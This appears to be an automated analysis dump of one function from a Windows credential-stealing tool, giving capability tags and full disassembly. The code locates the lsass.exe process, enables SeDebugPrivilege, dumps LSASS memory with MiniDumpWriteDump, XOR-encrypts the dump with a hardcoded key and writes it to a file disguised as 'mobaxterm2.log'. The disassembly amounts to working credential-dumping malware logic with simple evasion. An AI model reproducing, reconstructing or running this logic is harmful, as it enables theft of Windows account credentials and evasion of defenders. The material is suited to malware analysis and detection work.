Function at 0x1400012c0
Capabilities:
Create process memory minidump
Encode data using xor
Enumerate processes
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x1f8], rax
lea rcx, str.___Searching_for_LSASS_PID_n
call fcn.140001040
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xor esi, esi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 7
lea ecx, [rsi + 0x20]
call fcn.140001a30
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], 9
mov qword [rsp + 0x78], 0xf
movups xmm0, xmmword [str.lsass.exe]
movups xmmword [rax], xmm0
movzx ecx, word [0x140003610]
mov word [rax + 0x10], cx
mov word [rax + 0x12], si
mov edi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000138a
lea rdx, str.Failed_to_create_snapshot_of_processes.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001770
mov rcx, rax
lea rdx, [0x140001950]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x1400016a6
mov dword [rbp - 0x70], 0x238
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000167a
nop word [rax + rax]
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x44]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400013e2
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x1400013e5
jmp 0x1400013b0
mov edi, dword [rbp - 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1400016a6
mov edx, edi
lea rcx, str.___LSASS_PID:__i_n
call fcn.140001040
mov qword [rsp + 0x40], rsi
mov qword [rbp - 0x7c], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x40]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140001436
lea rcx, str.____Could_not_get_current_process_token_with_TOKEN_ADJUST_PRIVILEGES_n
jmp 0x1400016ad
mov dword [rbp - 0x80], 1
mov dword [rbp - 0x74], 2
movdqa xmm0, xmmword [str.SeDebugPrivilege_]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1f0], 0
lea r8, [rbp - 0x7c]
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x40]
test eax, eax
jne 0x140001489
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____No_SeDebugPrivs._Make_sure_you_are_an_admin_n
jmp 0x1400016ad
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, 0x10
lea r8, [rbp - 0x80]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x40]
test eax, eax
jne 0x1400014c0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____Could_not_adjust_to_SeDebugPrivs_n
jmp 0x1400016ad
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1400014e7
lea rcx, str.____Could_not_open_handle_to_LSASS_process_n
jmp 0x1400016ad
mov qword [rsp + 0x50], rsi
lea rcx, [0x140001220]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, 2
xor r8d, r8d
mov edx, edi
mov rcx, rax
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
test eax, eax
je 0x140001663
lea rcx, str.___Successfully_dumped_LSASS_to_memory__n
call fcn.140001040
movsd xmm0, qword [str.ucants33m3_]
movsd qword [rbp + 0x1d0], xmm0
mov eax, dword [0x1400036f0]
mov dword [rbp + 0x1d8], eax
lea rdx, [rbp + 0x1d0]
lea rcx, str.___Xor_encrypting_the_memory_buffer_containing_the_dump_data_n___Xor_key:__s_n
call fcn.140001040
mov rdx, qword [0x1400056c8]
movsxd r9, dword [0x1400056c0]
test r9, r9
jle 0x1400015a3
mov rax, rsi
nop dword [rax]
mov rcx, rsi
cmp rax, 0xb
cmovne rcx, rax
movzx eax, byte [rbp + rcx + 0x1d0]
xor byte [rdx], al
lea rax, [rcx + 1]
lea rdx, [rdx + 1]
sub r9, 1
jne 0x140001580
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x10000000
lea r8d, [r9 + 2]
lea rcx, str.mobaxterm2.log
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [rsp + 0x58], esi
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x58]
mov r8d, dword [0x1400056c0]
mov rdx, qword [0x1400056c8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140001639
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001634
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400016f8
call fcn.140001a6c
xor eax, eax
mov rcx, qword [rbp + 0x1f8]
xor rcx, rsp
call fcn.140001a10
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov edx, eax
lea rcx, str.____Could_not_dump_LSASS_to_memory_n____Error_Code:__i_n
call fcn.140001040
jmp 0x1400016b3
lea rdx, str.Failed_to_retrieve_the_first_process.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001770
mov rcx, rax
lea rdx, [0x140001950]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____Could_not_find_LSASS_PID_n
call fcn.140001040
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140001639
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001634
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001634
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3